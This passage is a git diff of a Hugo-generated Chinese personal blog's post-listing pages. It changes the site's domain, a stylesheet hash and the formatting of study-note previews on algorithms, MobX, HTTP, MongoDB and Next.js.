-&lt;button on:click={aClick}>{count}&lt;/button></p></div><footer class=entry-footer><span title='2021-08-09 22:50:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Svelte学习笔记" href=https://xiaochenabc123.github.io/posts/80/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/12/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/14/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+function aClick() { count += 1 } ... &lt;button on:click={aClick}>{count}&lt;/button></p></div><footer class=entry-footer><span title='2021-08-09 22:50:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Svelte学习笔记" href=https://chenjunlinabc.github.io/posts/80/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/12/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/14/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/14/index.html b/posts/page/14/index.html
index b6089c97..9c1c4b08 100644
--- a/posts/page/14/index.html
+++ b/posts/page/14/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>算法学习笔记</h2></header><div class=entry-content><p>虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>算法学习笔记</h2></header><div class=entry-content><p>虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
 算法不会被程序语言所限制，也不会一个实现只有一个算法
 常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）
 算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)
@@ -13,49 +13,19 @@
 保证有序数组中的元素是不重复的，也就是说不存在重复的元素
 有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的
 例如：
-let arr = function(nums) {
-if(nums == null || nums.length == 0){
-return 0
-}
-let b = 0
-for(let a=0;a&lt;nums.length;a++){
-if(nums[b]!=nums[a]){
-nums[++b] = nums[a]
-}
-}
-return ++b
-}
-b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上...</p></div><footer class=entry-footer><span title='2021-08-09 20:36:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 算法学习笔记" href=https://xiaochenabc123.github.io/posts/79/></a></article><article class=post-entry><header class=entry-header><h2>Mobx学习笔记</h2></header><div class=entry-content><p>Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
+let arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a&lt;nums.length;a++){ if(nums[b]!=nums[a]){ nums[++b] = nums[a] } } return ++b } b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上...</p></div><footer class=entry-footer><span title='2021-08-09 20:36:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 算法学习笔记" href=https://chenjunlinabc.github.io/posts/79/></a></article><article class=post-entry><header class=entry-header><h2>Mobx学习笔记</h2></header><div class=entry-content><p>Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
 Mobx通过透明的函数响应式编程使得状态管理变得简单和可扩展
 Mobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）
 安装Mobx
-npm install mobx mobx-react --save
-或者
-yarn add mobx mobx-react --save
-导入
-import {observable, autorun, computed, action, makeObservable,reaction,when} from "mobx"
-import {observer} from "mobx-react"
-注意：在严格模式中，是不允许在action之外改变状态的
+npm install mobx mobx-react --save 或者
+yarn add mobx mobx-react --save 导入
+import {observable, autorun, computed, action, makeObservable,reaction,when} from "mobx" import {observer} from "mobx-react" 注意：在严格模式中，是不允许在action之外改变状态的
 启动严格模式
-import {configure} from 'mobx'
-configure({enforceActions: true})
-observable定义可观察的状态 action修改状态（动作） computed计算值
+import {configure} from 'mobx' configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值
 数据变化可被观察，例如：
-let appdata = observable([1,2,3,4,5])
-console.log(appdata[1])
-appdata = observable({a:1,b:2,c:3})
-console.log(appdata.a)
-appdata.a += 1
-console.log(appdata.a)
-appdata = observable.box(100)
-console.log(appdata)
-响应式对象
+let appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象
 makeObservable（手动配置observable，action，computed）
-const store = makeObservable({ count: 666, get double(){
-return this.count * 2
-},
-increment(){
-this....</p></div><footer class=entry-footer><span title='2021-08-08 21:35:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Mobx学习笔记" href=https://xiaochenabc123.github.io/posts/78/></a></article><article class=post-entry><header class=entry-header><h2>简单认识HTTP协议</h2></header><div class=entry-content><p>HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
+const store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this....</p></div><footer class=entry-footer><span title='2021-08-08 21:35:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Mobx学习笔记" href=https://chenjunlinabc.github.io/posts/78/></a></article><article class=post-entry><header class=entry-header><h2>简单认识HTTP协议</h2></header><div class=entry-content><p>HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
 HTTP是基于TCP/IP协议来传输数据的
 访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应
 浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL
@@ -113,7 +83,7 @@
 前端中的HTTP
 先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）
 http常见状态码
-1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误...</p></div><footer class=entry-footer><span title='2021-08-08 17:02:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单认识HTTP协议" href=https://xiaochenabc123.github.io/posts/77/></a></article><article class=post-entry><header class=entry-header><h2>MongoDB学习笔记</h2></header><div class=entry-content><p>MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
+1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误...</p></div><footer class=entry-footer><span title='2021-08-08 17:02:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单认识HTTP协议" href=https://chenjunlinabc.github.io/posts/77/></a></article><article class=post-entry><header class=entry-header><h2>MongoDB学习笔记</h2></header><div class=entry-content><p>MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
 MongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）
 关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server
 而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）
@@ -157,7 +127,7 @@
 show collections
 或者
 show tables
-db.createCollection(“test”, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )...</p></div><footer class=entry-footer><span title='2021-08-08 14:20:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to MongoDB学习笔记" href=https://xiaochenabc123.github.io/posts/76/></a></article><article class=post-entry><header class=entry-header><h2>NextJS学习笔记</h2></header><div class=entry-content><p>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
+db.createCollection(“test”, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )...</p></div><footer class=entry-footer><span title='2021-08-08 14:20:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to MongoDB学习笔记" href=https://chenjunlinabc.github.io/posts/76/></a></article><article class=post-entry><header class=entry-header><h2>NextJS学习笔记</h2></header><div class=entry-content><p>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
 服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览
 SPA：
 全称single page web application
@@ -171,13 +141,7 @@
 在scripts下加添加
 “dev” : “next”, “build”: “next build”, “start”: “next start”
 创建个js文件
-function Hallo(){
-return(
-&lt;div>hallo next.js&lt;/div>
-)
-}
-export default Hallo
-yarn dev调试
+function Hallo(){ return( &lt;div>hallo next.js&lt;/div> ) } export default Hallo yarn dev调试
 如果浏览器输出正确则配置成功
 通过create-next-app脚手架创建项目
 npm install create-next-app -g
@@ -191,10 +155,8 @@
 yarn dev
 访问http://localhost:3000/，正常显示网页则配置正常
 编程式跳转
-import Link from "next/link"
-&lt;Link href="/">&lt;a>返回&lt;/a>&lt;/Link>
-Link不支持直接加兄弟标签，起码要有一个父级标签...</p></div><footer class=entry-footer><span title='2021-08-07 23:26:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NextJS学习笔记" href=https://xiaochenabc123.github.io/posts/74/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/13/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/15/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import Link from "next/link" &lt;Link href="/">&lt;a>返回&lt;/a>&lt;/Link> Link不支持直接加兄弟标签，起码要有一个父级标签...</p></div><footer class=entry-footer><span title='2021-08-07 23:26:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NextJS学习笔记" href=https://chenjunlinabc.github.io/posts/74/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/13/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/15/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/15/index.html b/posts/page/15/index.html
index 9f41e32f..5ef38110 100644
--- a/posts/page/15/index.html
+++ b/posts/page/15/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" 